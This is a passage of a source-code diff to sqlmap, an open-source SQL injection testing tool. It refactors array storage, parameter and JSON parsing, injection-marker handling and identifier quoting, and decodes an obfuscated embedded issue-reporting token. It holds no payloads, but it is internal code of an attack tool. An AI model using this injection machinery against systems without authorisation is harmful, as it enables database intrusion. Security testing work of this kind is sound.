except (OSError, IOError) as ex:
@@ -147,6 +206,9 @@ def _dump(self, chunk):
raise SqlmapSystemException(errMsg)
def _checkcache(self, index):
+ if self.cache is not None and not isinstance(self.cache, Cache):
+ self.cache = None
+
if (self.cache and self.cache.index != index and self.cache.dirty):
filename = self._dump(self.cache.data)
self.chunks[self.cache.index] = filename
@@ -161,44 +223,117 @@ def _checkcache(self, index):
raise SqlmapSystemException(errMsg)
def __getstate__(self):
- return self.chunks, self.filenames
+ if self.cache and self.cache.dirty:
+ filename = self._dump(self.cache.data)
+ self.chunks[self.cache.index] = filename
+ self.cache.dirty = False
+
+ return self.chunks, self.filenames, self.chunk_length
def __setstate__(self, state):
self.__init__()
- self.chunks, self.filenames = state
+ chunks, filenames, self.chunk_length = state
+
+ file_mapping = {}
+ self.filenames = set()
+ self.chunks = []
+
+ for filename in filenames:
+ if not os.path.exists(filename):
+ continue
+
+ try:
+ handle, new_filename = tempfile.mkstemp(prefix=MKSTEMP_PREFIX.BIG_ARRAY)
+ os.close(handle)
+ shutil.copyfile(filename, new_filename)
+ self.filenames.add(new_filename)
+ file_mapping[filename] = new_filename
+ except (OSError, IOError):
+ pass
+
+ for chunk in chunks:
+ if isinstance(chunk, STRING_TYPES):
+ if chunk in file_mapping:
+ self.chunks.append(file_mapping[chunk])
+ else:
+ errMsg = "exception occurred while restoring BigArray chunk "
+ errMsg += "from file '%s'" % chunk
+ raise SqlmapSystemException(errMsg)
+ else:
+ self.chunks.append(chunk)
def __getitem__(self, y):
- while y < 0:
- y += len(self)
+ with self._lock:
+ length = len(self)
+ if length == 0:
+ raise IndexError("BigArray index out of range")
+
+ if y < 0:
+ y += length
+
+ if y < 0 or y >= length:
+ raise IndexError("BigArray index out of range")
- index = y // self.chunk_length
- offset = y % self.chunk_length
- chunk = self.chunks[index]
+ index = y // self.chunk_length
+ offset = y % self.chunk_length
+ chunk = self.chunks[index]
- if isinstance(chunk, list):
- return chunk[offset]
- else:
- self._checkcache(index)
- return self.cache.data[offset]
+ if isinstance(chunk, list):
+ return chunk[offset]
+ else:
+ self._checkcache(index)
+ return self.cache.data[offset]
def __setitem__(self, y, value):
- index = y // self.chunk_length
- offset = y % self.chunk_length
- chunk = self.chunks[index]
+ with self._lock:
+ length = len(self)
+ if length == 0:
+ raise IndexError("BigArray index out of range")
+
+ if y < 0:
+ y += length
+
+ if y < 0 or y >= length:
+ raise IndexError("BigArray index out of range")
+
+ index = y // self.chunk_length
+ offset = y % self.chunk_length
+ chunk = self.chunks[index]
- if isinstance(chunk, list):
- chunk[offset] = value
- else:
- self._checkcache(index)
- self.cache.data[offset] = value
- self.cache.dirty = True
+ if isinstance(chunk, list):
+ chunk[offset] = value
+ else:
+ self._checkcache(index)
+ self.cache.data[offset] = value
+ self.cache.dirty = True
def __repr__(self):
return "%s%s" % ("..." if len(self.chunks) > 1 else "", self.chunks[-1].__repr__())
def __iter__(self):
- for i in xrange(len(self)):
- yield self[i]
+ with self._lock:
+ chunks = list(self.chunks)
+ cache_index = self.cache.index if isinstance(self.cache, Cache) else None
+ cache_data = self.cache.data if isinstance(self.cache, Cache) else None
+
+ for idx, chunk in enumerate(chunks):
+ if isinstance(chunk, list):
+ for item in chunk:
+ yield item
+ else:
+ try:
+ if cache_index == idx and cache_data is not None:
+ data = cache_data
+ else:
+ with open(chunk, "rb") as f:
+ data = pickle.loads(zlib.decompress(f.read()))
+ except Exception as ex:
+ errMsg = "exception occurred while retrieving data "
+ errMsg += "from a temporary file ('%s')" % ex
+ raise SqlmapSystemException(errMsg)
+
+ for item in data:
+ yield item
def __len__(self):
return len(self.chunks[-1]) if len(self.chunks) == 1 else (len(self.chunks) - 1) * self.chunk_length + len(self.chunks[-1])
diff --git a/lib/core/common.py b/lib/core/common.py
index 3d6360bb84c..24ca3276332 100644
--- a/lib/core/common.py
+++ b/lib/core/common.py
@@ -1,7 +1,7 @@
#!/usr/bin/env python
"""
-Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
See the file 'LICENSE' for copying permission
"""
@@ -35,6 +35,7 @@
import time
import types
import unicodedata
+import zlib
from difflib import SequenceMatcher
from math import sqrt
@@ -46,6 +47,7 @@
from extra.cloak.cloak import decloak
from lib.core.bigarray import BigArray
from lib.core.compat import cmp
+from lib.core.compat import codecs_open
from lib.core.compat import LooseVersion
from lib.core.compat import round
from lib.core.compat import xrange
@@ -103,7 +105,7 @@
from lib.core.log import LOGGER_HANDLER
from lib.core.optiondict import optDict
from lib.core.settings import BANNER
-from lib.core.settings import BOLD_PATTERNS
+from lib.core.settings import BOLD_PATTERNS_REGEX
from lib.core.settings import BOUNDARY_BACKSLASH_MARKER
from lib.core.settings import BOUNDED_INJECTION_MARKER
from lib.core.settings import BRUTE_DOC_ROOT_PREFIXES
@@ -129,13 +131,14 @@
from lib.core.settings import GENERIC_DOC_ROOT_DIRECTORY_NAMES
from lib.core.settings import GIT_PAGE
from lib.core.settings import GITHUB_REPORT_OAUTH_TOKEN
-from lib.core.settings import GOOGLE_ANALYTICS_COOKIE_PREFIX
+from lib.core.settings import GOOGLE_ANALYTICS_COOKIE_REGEX
from lib.core.settings import HASHDB_MILESTONE_VALUE
from lib.core.settings import HOST_ALIASES
from lib.core.settings import HTTP_CHUNKED_SPLIT_KEYWORDS
from lib.core.settings import IGNORE_PARAMETERS
from lib.core.settings import IGNORE_SAVE_OPTIONS
from lib.core.settings import INFERENCE_UNKNOWN_CHAR
+from lib.core.settings import INJECT_HERE_REGEX
from lib.core.settings import IP_ADDRESS_REGEX
from lib.core.settings import ISSUES_PAGE
from lib.core.settings import IS_TTY
@@ -168,6 +171,7 @@
from lib.core.settings import REFLECTED_REPLACEMENT_TIMEOUT
from lib.core.settings import REFLECTED_VALUE_MARKER
from lib.core.settings import REFLECTIVE_MISS_THRESHOLD
+from lib.core.settings import REPLACEMENT_MARKER
from lib.core.settings import SENSITIVE_DATA_REGEX
from lib.core.settings import SENSITIVE_OPTIONS
from lib.core.settings import STDIN_PIPE_DASH
@@ -252,6 +256,10 @@ def getDbms(versions=None):
if versions is None and Backend.getVersionList():
versions = Backend.getVersionList()
+ # NOTE: preventing ugly (e.g.) "back-end DBMS: MySQL Unknown"
+ if isListLike(versions) and UNKNOWN_DBMS_VERSION in versions:
+ versions = None
+
return Backend.getDbms() if versions is None else "%s %s" % (Backend.getDbms(), " and ".join(filterNone(versions)))
@staticmethod
@@ -657,7 +665,7 @@ def paramToDict(place, parameters=None):
if not conf.multipleTargets and not (conf.csrfToken and re.search(conf.csrfToken, parameter, re.I)):
_ = urldecode(testableParameters[parameter], convall=True)
- if (_.endswith("'") and _.count("'") == 1 or re.search(r'\A9{3,}', _) or re.search(r'\A-\d+\Z', _) or re.search(DUMMY_USER_INJECTION, _)) and not parameter.upper().startswith(GOOGLE_ANALYTICS_COOKIE_PREFIX):
+ if (_.endswith("'") and _.count("'") == 1 or re.search(r'\A9{3,}', _) or re.search(r'\A-\d+\Z', _) or re.search(DUMMY_USER_INJECTION, _)) and not re.search(GOOGLE_ANALYTICS_COOKIE_REGEX, parameter):
warnMsg = "it appears that you have provided tainted parameter values "
warnMsg += "('%s') with most likely leftover " % element
warnMsg += "chars/statements from manual SQL injection test(s). "
@@ -707,8 +715,16 @@ def walk(head, current=None):
if value:
walk(head, value)
- deserialized = json.loads(testableParameters[parameter])
- walk(deserialized)
+ # NOTE: for cases with custom injection marker(s) inside (e.g. https://github.com/sqlmapproject/sqlmap/issues/4137#issuecomment-2013783111) - p.s. doesn't care too much about the structure (e.g. injection into the flat array values)
+ if CUSTOM_INJECTION_MARK_CHAR in testableParameters[parameter]:
+ for match in re.finditer(r'(\w+)[^\w]*"\s*:[^\w]*\w*%s' % re.escape(CUSTOM_INJECTION_MARK_CHAR), testableParameters[parameter]):
+ key = match.group(1)
+ value = testableParameters[parameter].replace(match.group(0), match.group(0).replace(CUSTOM_INJECTION_MARK_CHAR, BOUNDED_INJECTION_MARKER))
+ candidates["%s (%s)" % (parameter, key)] = re.sub(r"\b(%s\s*=\s*)%s" % (re.escape(parameter), re.escape(testableParameters[parameter])), r"\g<1>%s" % value, parameters)
+
+ if not candidates:
+ deserialized = json.loads(testableParameters[parameter])
+ walk(deserialized)
if candidates:
message = "it appears that provided value for %sparameter '%s' " % ("%s " % place if place != parameter else "", parameter)
@@ -880,7 +896,7 @@ def getManualDirectories():
def getAutoDirectories():
"""
>>> pushValue(kb.absFilePaths)
- >>> kb.absFilePaths = ["C:\\inetpub\\wwwroot\\index.asp", "/var/www/html"]
+ >>> kb.absFilePaths = [r"C:\\inetpub\\wwwroot\\index.asp", "/var/www/html"]
>>> getAutoDirectories()
['C:/inetpub/wwwroot', '/var/www/html']
>>> kb.absFilePaths = popValue()
@@ -944,7 +960,7 @@ def boldifyMessage(message, istty=None):
retVal = message
- if any(_ in message for _ in BOLD_PATTERNS):
+ if re.search(BOLD_PATTERNS_REGEX, message):
retVal = setColor(message, bold=True, istty=istty)
return retVal
@@ -1321,7 +1337,10 @@ def isZipFile(filename):
checkFile(filename)
- return openFile(filename, "rb", encoding=None).read(len(ZIP_HEADER)) == ZIP_HEADER
+ with openFile(filename, "rb", encoding=None) as f:
+ header = f.read(len(ZIP_HEADER))
+
+ return header == ZIP_HEADER
def isDigit(value):
"""
@@ -1392,7 +1411,7 @@ def parseJson(content):
"""
This function parses POST_HINT.JSON and POST_HINT.JSON_LIKE content
- >>> parseJson("{'id':1}")["id"] == 1
+ >>> parseJson("{'id':1, 'foo':[2,3,4]}")["id"] == 1
True
>>> parseJson('{"id":1}')["id"] == 1
True
@@ -1410,10 +1429,10 @@ def parseJson(content):
if quote == '"':
retVal = json.loads(content)
elif quote == "'":
- content = content.replace('"', '\\"')
- content = content.replace("\\'", BOUNDARY_BACKSLASH_MARKER)
- content = content.replace("'", '"')
- content = content.replace(BOUNDARY_BACKSLASH_MARKER, "'")
+ def _(match):
+ return '"%s"' % match.group(1).replace('"', '\\"')
+
+ content = re.sub(r"'((?:[^'\\]|\\.)*)'", _, content)
retVal = json.loads(content)
except:
pass
@@ -1458,10 +1477,18 @@ def cleanQuery(query):
"""
retVal = query
+ queryLower = query.lower()
for sqlStatements in SQL_STATEMENTS.values():
for sqlStatement in sqlStatements:
candidate = sqlStatement.replace("(", "").replace(")", "").strip()
+
+ # OPTIMIZATION: Skip expensive regex compilation/search if the keyword
+ # isn't even present in the string. This makes the function O(K) instead of O(N*K)
+ # for the expensive regex part (where K is num keywords).
+ if not candidate or candidate.lower() not in queryLower:
+ continue
+
queryMatch = re.search(r"(?i)\b(%s)\b" % candidate, query)
if queryMatch and "sys_exec" not in query:
@@ -1508,6 +1535,7 @@ def setPaths(rootPath):
paths.COMMON_FILES = os.path.join(paths.SQLMAP_TXT_PATH, "common-files.txt")
paths.COMMON_TABLES = os.path.join(paths.SQLMAP_TXT_PATH, "common-tables.txt")
paths.COMMON_OUTPUTS = os.path.join(paths.SQLMAP_TXT_PATH, 'common-outputs.txt')
+ paths.DIGEST_FILE = os.path.join(paths.SQLMAP_TXT_PATH, "sha256sums.txt")
paths.SQL_KEYWORDS = os.path.join(paths.SQLMAP_TXT_PATH, "keywords.txt")
paths.SMALL_DICT = os.path.join(paths.SQLMAP_TXT_PATH, "smalldict.txt")
paths.USER_AGENTS = os.path.join(paths.SQLMAP_TXT_PATH, "user-agents.txt")
@@ -1665,11 +1693,7 @@ def parseTargetDirect():
elif dbmsName == DBMS.PGSQL:
__import__("psycopg2")
elif dbmsName == DBMS.ORACLE:
- __import__("cx_Oracle")
-
- # Reference: http://itsiti.com/ora-28009-connection-sys-sysdba-sysoper
- if (conf.dbmsUser or "").upper() == "SYS":
- conf.direct = "%s?mode=SYSDBA" % conf.direct
+ __import__("oracledb")
elif dbmsName == DBMS.SQLITE:
__import__("sqlite3")
elif dbmsName == DBMS.ACCESS:
@@ -2049,7 +2073,7 @@ def getCharset(charsetType=None):
# Digits
elif charsetType == CHARSET_TYPE.DIGITS:
- asciiTbl.extend((0, 9))
+ asciiTbl.extend(xrange(0, 10))
asciiTbl.extend(xrange(47, 58))
# Hexadecimal
@@ -2190,19 +2214,19 @@ def safeStringFormat(format_, params):
while True:
match = re.search(r"(\A|[^A-Za-z0-9])(%s)([^A-Za-z0-9]|\Z)", retVal)
if match:
- if count >= len(params):
- warnMsg = "wrong number of parameters during string formatting. "
- warnMsg += "Please report by e-mail content \"%r | %r | %r\" to '%s'" % (format_, params, retVal, DEV_EMAIL_ADDRESS)
- raise SqlmapValueException(warnMsg)
- else:
- try:
- retVal = re.sub(r"(\A|[^A-Za-z0-9])(%s)([^A-Za-z0-9]|\Z)", r"\g<1>%s\g<3>" % params[count], retVal, 1)
- except re.error:
- retVal = retVal.replace(match.group(0), match.group(0) % params[count], 1)
- count += 1
+ try:
+ retVal = re.sub(r"(\A|[^A-Za-z0-9])(%s)([^A-Za-z0-9]|\Z)", r"\g<1>%s\g<3>" % params[count % len(params)], retVal, 1)
+ except re.error:
+ retVal = retVal.replace(match.group(0), match.group(0) % params[count % len(params)], 1)
+ count += 1
else:
break
+ if count > len(params) and count % len(params):
+ warnMsg = "wrong number of parameters during string formatting. "
+ warnMsg += "Please report by e-mail content \"%r | %r | %r\" to '%s'" % (format_, params, retVal, DEV_EMAIL_ADDRESS)
+ raise SqlmapValueException(warnMsg)
+
retVal = getText(retVal).replace(PARAMETER_PERCENTAGE_MARKER, '%')
return retVal
@@ -2308,7 +2332,7 @@ def ntToPosixSlashes(filepath):
Replaces all occurrences of NT backslashes in provided
filepath with Posix slashes
- >>> ntToPosixSlashes('C:\\Windows')
+ >>> ntToPosixSlashes(r'C:\\Windows')
'C:/Windows'
"""
@@ -2449,7 +2473,7 @@ def getSQLSnippet(dbms, sfile, **variables):
return retVal
-def readCachedFileContent(filename, mode="rb"):
+def readCachedFileContent(filename, mode='r'):
"""
Cached reading of file content (avoiding multiple same file reading)
@@ -2520,21 +2544,22 @@ def initCommonOutputs():
kb.commonOutputs = {}
key = None
- for line in openFile(paths.COMMON_OUTPUTS, 'r'):
- if line.find('#') != -1:
- line = line[:line.find('#')]
+ with openFile(paths.COMMON_OUTPUTS, 'r') as f:
+ for line in f:
+ if line.find('#') != -1:
+ line = line[:line.find('#')]
- line = line.strip()
+ line = line.strip()
- if len(line) > 1:
- if line.startswith('[') and line.endswith(']'):
- key = line[1:-1]
- elif key:
- if key not in kb.commonOutputs:
- kb.commonOutputs[key] = set()
+ if len(line) > 1:
+ if line.startswith('[') and line.endswith(']'):
+ key = line[1:-1]
+ elif key:
+ if key not in kb.commonOutputs:
+ kb.commonOutputs[key] = set()
- if line not in kb.commonOutputs[key]:
- kb.commonOutputs[key].add(line)
+ if line not in kb.commonOutputs[key]:
+ kb.commonOutputs[key].add(line)
def getFileItems(filename, commentPrefix='#', unicoded=True, lowercase=False, unique=False):
"""
@@ -2906,22 +2931,15 @@ def findMultipartPostBoundary(post):
"""
retVal = None
-
- done = set()
- candidates = []
+ counts = {}
for match in re.finditer(r"(?m)^--(.+?)(--)?$", post or ""):
- _ = match.group(1).strip().strip('-')
-
- if _ in done:
- continue
- else:
- candidates.append((post.count(_), _))
- done.add(_)
+ boundary = match.group(1).strip().strip('-')
+ counts[boundary] = counts.get(boundary, 0) + 1
- if candidates:
- candidates.sort(key=lambda _: _[0], reverse=True)
- retVal = candidates[0][1]
+ if counts:
+ sorted_boundaries = sorted(counts.items(), key=lambda x: x[1], reverse=True)
+ retVal = sorted_boundaries[0][0]
return retVal
@@ -3322,14 +3340,14 @@ def filterNone(values):
"""
Emulates filterNone([...]) functionality
- >>> filterNone([1, 2, "", None, 3])
- [1, 2, 3]
+ >>> filterNone([1, 2, "", None, 3, 0])
+ [1, 2, 3, 0]
"""
retVal = values
if isinstance(values, _collections.Iterable):
- retVal = [_ for _ in values if _]
+ retVal = [_ for _ in values if _ or _ == 0]
return retVal
@@ -3444,7 +3462,10 @@ def parseSqliteTableSchema(value):
columns[column] = match.group(3) or "TEXT"
table[safeSQLIdentificatorNaming(conf.tbl, True)] = columns
- kb.data.cachedColumns[conf.db] = table
+ if conf.db in kb.data.cachedColumns:
+ kb.data.cachedColumns[conf.db].update(table)
+ else:
+ kb.data.cachedColumns[conf.db] = table
return retVal
@@ -3589,7 +3610,7 @@ def saveConfig(conf, filename):
config.set(family, option, value)
- with openFile(filename, "wb") as f:
+ with openFile(filename, 'w') as f:
try:
config.write(f)
except IOError as ex:
@@ -3698,10 +3719,12 @@ def joinValue(value, delimiter=','):
'1,2'
>>> joinValue('1')
'1'
+ >>> joinValue(['1', None])
+ '1,None'
"""
if isListLike(value):
- retVal = delimiter.join(value)
+ retVal = delimiter.join(getText(_ if _ is not None else "None") for _ in value)
else:
retVal = value
@@ -3793,6 +3816,7 @@ def openFile(filename, mode='r', encoding=UNICODE_ENCODING, errors="reversible",
# Reference: https://stackoverflow.com/a/37462452
if 'b' in mode:
buffering = 0
+ encoding = None
if filename == STDIN_PIPE_DASH:
if filename not in kb.cache.content:
@@ -3801,7 +3825,7 @@ def openFile(filename, mode='r', encoding=UNICODE_ENCODING, errors="reversible",
return contextlib.closing(io.StringIO(readCachedFileContent(filename)))
else:
try:
- return codecs.open(filename, mode, encoding, errors, buffering)
+ return codecs_open(filename, mode, encoding, errors, buffering)
except IOError:
errMsg = "there has been a file opening error for filename '%s'. " % filename
errMsg += "Please check %s permissions on a file " % ("write" if mode and ('w' in mode or 'a' in mode or '+' in mode) else "read")
@@ -3847,33 +3871,6 @@ def decodeIntToUnicode(value):
return retVal
-def checkIntegrity():
- """
- Checks integrity of code files during the unhandled exceptions
- """
-
- if not paths:
- return
-
- logger.debug("running code integrity check")
-
- retVal = True
-
- baseTime = os.path.getmtime(paths.SQLMAP_SETTINGS_PATH) + 3600 # First hour free parking :)
- for root, _, filenames in os.walk(paths.SQLMAP_ROOT_PATH):
- for filename in filenames:
- if re.search(r"(\.py|\.xml|_)\Z", filename):
- filepath = os.path.join(root, filename)
- if os.path.getmtime(filepath) > baseTime:
- logger.error("wrong modification time of '%s'" % filepath)
- retVal = False
-
- suffix = extractRegexResult(r"#(?P\w+)", VERSION_STRING)
- if suffix and suffix not in {"dev", "stable"}:
- retVal = False
-
- return retVal
-
def getDaysFromLastUpdate():
"""
Get total number of days from last update
@@ -4012,7 +4009,8 @@ def createGithubIssue(errMsg, excMsg):
pass
data = {"title": "Unhandled exception (#%s)" % key, "body": "```%s\n```\n```\n%s```" % (errMsg, excMsg)}
- req = _urllib.request.Request(url="https://api.github.com/repos/sqlmapproject/sqlmap/issues", data=getBytes(json.dumps(data)), headers={HTTP_HEADER.AUTHORIZATION: "token %s" % decodeBase64(GITHUB_REPORT_OAUTH_TOKEN, binary=False), HTTP_HEADER.USER_AGENT: fetchRandomAgent()})
+ token = getText(zlib.decompress(decodeBase64(GITHUB_REPORT_OAUTH_TOKEN[::-1], binary=True))[0::2][::-1])
+ req = _urllib.request.Request(url="https://api.github.com/repos/sqlmapproject/sqlmap/issues", data=getBytes(json.dumps(data)), headers={HTTP_HEADER.AUTHORIZATION: "token %s" % token, HTTP_HEADER.USER_AGENT: fetchRandomAgent()})
try:
content = getText(_urllib.request.urlopen(req).read())
@@ -4026,7 +4024,7 @@ def createGithubIssue(errMsg, excMsg):
logger.info(infoMsg)
try:
- with openFile(paths.GITHUB_HISTORY, "a+b") as f:
+ with openFile(paths.GITHUB_HISTORY, "a+") as f:
f.write("%s\n" % key)
except:
pass
@@ -4158,6 +4156,11 @@ def _(value):
payload = getUnicode(urldecode(payload.replace(PAYLOAD_DELIMITER, ""), convall=True))
regex = _(filterStringValue(payload, r"[A-Za-z0-9]", encodeStringEscape(REFLECTED_REPLACEMENT_REGEX)))
+ # NOTE: special case when part of the result shares the same output as the payload (e.g. ?id=1... and "sqlmap/1.0-dev (http://sqlmap.org)")
+ preserve = extractRegexResult(r"%s(?P.+?)%s" % (kb.chars.start, kb.chars.stop), content)
+ if preserve:
+ content = content.replace(preserve, REPLACEMENT_MARKER)
+
if regex != payload:
if all(part.lower() in content.lower() for part in filterNone(regex.split(REFLECTED_REPLACEMENT_REGEX))[1:]): # fast optimization check
parts = regex.split(REFLECTED_REPLACEMENT_REGEX)
@@ -4228,6 +4231,9 @@ def _thread(regex):
debugMsg = "turning off reflection removal mechanism (for optimization purposes)"
logger.debug(debugMsg)
+ if preserve and retVal:
+ retVal = retVal.replace(REPLACEMENT_MARKER, preserve)
+
except (MemoryError, SystemError):
kb.reflectiveMechanism = False
if not suppressWarning:
@@ -4273,6 +4279,9 @@ def safeSQLIdentificatorNaming(name, isTable=False):
retVal = name
+ if conf.unsafeNaming:
+ return retVal
+
if isinstance(name, six.string_types):
retVal = getUnicode(name)
_ = isTable and Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE)
@@ -4287,7 +4296,7 @@ def safeSQLIdentificatorNaming(name, isTable=False):
if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.ACCESS, DBMS.CUBRID, DBMS.SQLITE): # Note: in SQLite double-quotes are treated as string if column/identifier is non-existent (e.g. SELECT "foobar" FROM users)
retVal = "`%s`" % retVal
- elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.DB2, DBMS.HSQLDB, DBMS.H2, DBMS.INFORMIX, DBMS.MONETDB, DBMS.VERTICA, DBMS.MCKOI, DBMS.PRESTO, DBMS.CRATEDB, DBMS.CACHE, DBMS.EXTREMEDB, DBMS.FRONTBASE, DBMS.RAIMA, DBMS.VIRTUOSO):
+ elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.DB2, DBMS.HSQLDB, DBMS.H2, DBMS.INFORMIX, DBMS.MONETDB, DBMS.VERTICA, DBMS.MCKOI, DBMS.PRESTO, DBMS.CRATEDB, DBMS.CACHE, DBMS.EXTREMEDB, DBMS.FRONTBASE, DBMS.RAIMA, DBMS.VIRTUOSO, DBMS.SNOWFLAKE):
retVal = "\"%s\"" % retVal
elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.ALTIBASE, DBMS.MIMERSQL):
retVal = "\"%s\"" % retVal.upper()
@@ -4326,7 +4335,7 @@ def unsafeSQLIdentificatorNaming(name):
if isinstance(name, six.string_types):
if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.ACCESS, DBMS.CUBRID, DBMS.SQLITE):
retVal = name.replace("`", "")
- elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.DB2, DBMS.HSQLDB, DBMS.H2, DBMS.INFORMIX, DBMS.MONETDB, DBMS.VERTICA, DBMS.MCKOI, DBMS.PRESTO, DBMS.CRATEDB, DBMS.CACHE, DBMS.EXTREMEDB, DBMS.FRONTBASE, DBMS.RAIMA, DBMS.VIRTUOSO):
+ elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.DB2, DBMS.HSQLDB, DBMS.H2, DBMS.INFORMIX, DBMS.MONETDB, DBMS.VERTICA, DBMS.MCKOI, DBMS.PRESTO, DBMS.CRATEDB, DBMS.CACHE, DBMS.EXTREMEDB, DBMS.FRONTBASE, DBMS.RAIMA, DBMS.VIRTUOSO, DBMS.SNOWFLAKE):
retVal = name.replace("\"", "")
elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.ALTIBASE, DBMS.MIMERSQL):
retVal = name.replace("\"", "").upper()
@@ -4511,34 +4520,32 @@ def randomizeParameterValue(value):
retVal = value
- value = re.sub(r"%[0-9a-fA-F]{2}", "", value)
+ retVal = re.sub(r"%[0-9a-fA-F]{2}", "", retVal)
- for match in re.finditer(r"[A-Z]+", value):
+ def _replace_upper(match):
+ original = match.group()
while True:
- original = match.group()
- candidate = randomStr(len(match.group())).upper()
- if original != candidate:
- break
-
- retVal = retVal.replace(original, candidate)
+ candidate = randomStr(len(original)).upper()
+ if candidate != original:
+ return candidate
- for match in re.finditer(r"[a-z]+", value):
+ def _replace_lower(match):
+ original = match.group()
while True:
- original = match.group()
- candidate = randomStr(len(match.group())).lower()
- if original != candidate:
- break
-
- retVal = retVal.replace(original, candidate)
+ candidate = randomStr(len(original)).lower()
+ if candidate != original:
+ return candidate
- for match in re.finditer(r"[0-9]+", value):
+ def _replace_digit(match):
+ original = match.group()
while True:
- original = match.group()
- candidate = str(randomInt(len(match.group())))
- if original != candidate:
- break
+ candidate = str(randomInt(len(original)))
+ if candidate != original:
+ return candidate
- retVal = retVal.replace(original, candidate)
+ retVal = re.sub(r"[A-Z]+", _replace_upper, retVal)
+ retVal = re.sub(r"[a-z]+", _replace_lower, retVal)
+ retVal = re.sub(r"[0-9]+", _replace_digit, retVal)
if re.match(r"\A[^@]+@.+\.[a-z]+\Z", value):
parts = retVal.split('.')
@@ -4654,7 +4661,7 @@ def isAdminFromPrivileges(privileges):
return retVal
-def findPageForms(content, url, raise_=False, addToTargets=False):
+def findPageForms(content, url, raiseException=False, addToTargets=False):
"""
Parses given page content for possible forms (Note: still not implemented for Python3)
@@ -4672,7 +4679,7 @@ def geturl(self):
if not content:
errMsg = "can't parse forms as the page content appears to be blank"
- if raise_:
+ if raiseException:
raise SqlmapGenericException(errMsg)
else:
logger.debug(errMsg)
@@ -4694,7 +4701,7 @@ def geturl(self):
forms = ParseResponse(filtered, backwards_compat=False)
except:
errMsg = "no success"
- if raise_:
+ if raiseException:
raise SqlmapGenericException(errMsg)
else:
logger.debug(errMsg)
@@ -4721,7 +4728,7 @@ def geturl(self):
except (ValueError, TypeError) as ex:
errMsg = "there has been a problem while "
errMsg += "processing page forms ('%s')" % getSafeExString(ex)
- if raise_:
+ if raiseException:
raise SqlmapGenericException(errMsg)
else:
logger.debug(errMsg)
@@ -4773,7 +4780,7 @@ def geturl(self):
if not retVal and not conf.crawlDepth:
errMsg = "there were no forms found at the given target URL"
- if raise_:
+ if raiseException:
raise SqlmapGenericException(errMsg)
else:
logger.debug(errMsg)
@@ -4804,7 +4811,17 @@ def _(value):
value = "http://%s" % value
return value
- return all(re.sub(r"(?i)\Awww\.", "", _urllib.parse.urlparse(_(url) or "").netloc.split(':')[0]) == re.sub(r"(?i)\Awww\.", "", _urllib.parse.urlparse(_(urls[0]) or "").netloc.split(':')[0]) for url in urls[1:])
+ first = _urllib.parse.urlparse(_(urls[0]) or "").hostname or ""
+ first = re.sub(r"(?i)\Awww\.", "", first)
+
+ for url in urls[1:]:
+ current = _urllib.parse.urlparse(_(url) or "").hostname or ""
+ current = re.sub(r"(?i)\Awww\.", "", current)
+
+ if current != first:
+ return False
+
+ return True
def getHostHeader(url):
"""
@@ -5013,6 +5030,10 @@ def extractExpectedValue(value, expected):
>>> extractExpectedValue(['1'], EXPECTED.BOOL)
True
+ >>> extractExpectedValue(['17'], EXPECTED.BOOL)
+ True
+ >>> extractExpectedValue(['0'], EXPECTED.BOOL)
+ False
>>> extractExpectedValue('1', EXPECTED.INT)
1
>>> extractExpectedValue('7\\xb9645', EXPECTED.INT) is None
@@ -5033,10 +5054,10 @@ def extractExpectedValue(value, expected):
value = value == "true"
elif value in ('t', 'f'):
value = value == 't'
- elif value in ("1", "-1"):
- value = True
elif value == '0':
value = False
+ elif re.search(r"\A-?[1-9]\d*\Z", value):
+ value = True
else:
value = None
elif expected == EXPECTED.INT:
@@ -5092,7 +5113,7 @@ def resetCookieJar(cookieJar):
os.close(handle)
# Reference: http://www.hashbangcode.com/blog/netscape-http-cooke-file-parser-php-584.html
- with openFile(filename, "w+b") as f:
+ with openFile(filename, "w+") as f:
f.write("%s\n" % NETSCAPE_FORMAT_HEADER_COOKIES)
for line in lines:
_ = line.split("\t")
@@ -5151,14 +5172,16 @@ def prioritySortColumns(columns):
Sorts given column names by length in ascending order while those containing
string 'id' go first
- >>> prioritySortColumns(['password', 'userid', 'name'])
- ['userid', 'name', 'password']
+ >>> prioritySortColumns(['password', 'userid', 'name', 'id'])
+ ['id', 'userid', 'name', 'password']
"""
- def _(column):
- return column and re.search(r"^id|id$", column, re.I) is not None
+ recompile = re.compile(r"^id|id$", re.I)
- return sorted(sorted(columns, key=len), key=functools.cmp_to_key(lambda x, y: -1 if _(x) and not _(y) else 1 if not _(x) and _(y) else 0))
+ return sorted(columns, key=lambda col: (
+ not (col and recompile.search(col)),
+ len(col)
+ ))
def getRequestHeader(request, name):
"""
@@ -5282,6 +5305,9 @@ def _parseWebScarabLog(content):
Parses WebScarab logs (POST method not supported)
"""
+ if WEBSCARAB_SPLITTER not in content:
+ return
+
reqResList = content.split(WEBSCARAB_SPLITTER)
for request in reqResList:
@@ -5300,7 +5326,7 @@ def _parseWebScarabLog(content):
logger.warning(warnMsg)
continue
- if not(conf.scope and not re.search(conf.scope, url, re.I)):
+ if not (conf.scope and not re.search(conf.scope, url, re.I)):
yield (url, method, None, cookie, tuple())
def _parseBurpLog(content):
@@ -5320,7 +5346,7 @@ def _parseBurpLog(content):
_ = re.search(r"%s:.+" % re.escape(HTTP_HEADER.HOST), request)
if _:
host = _.group(0).strip()
- if not re.search(r":\d+\Z", host):
+ if not re.search(r":\d+\Z", host) and int(port) != 80:
request = request.replace(host, "%s:%d" % (host, int(port)))
reqResList.append(request)
else:
@@ -5365,6 +5391,8 @@ def _parseBurpLog(content):
if not line.strip() and index == len(lines) - 1:
break
+ line = re.sub(INJECT_HERE_REGEX, CUSTOM_INJECTION_MARK_CHAR, line)
+
newline = "\r\n" if line.endswith('\r') else '\n'
line = line.strip('\r')
match = re.search(r"\A([A-Z]+) (.+) HTTP/[\d.]+\Z", line) if not method else None
@@ -5409,9 +5437,9 @@ def _parseBurpLog(content):
port = extractRegexResult(r":(?P\d+)\Z", value)
if port:
- value = value[:-(1 + len(port))]
-
- host = value
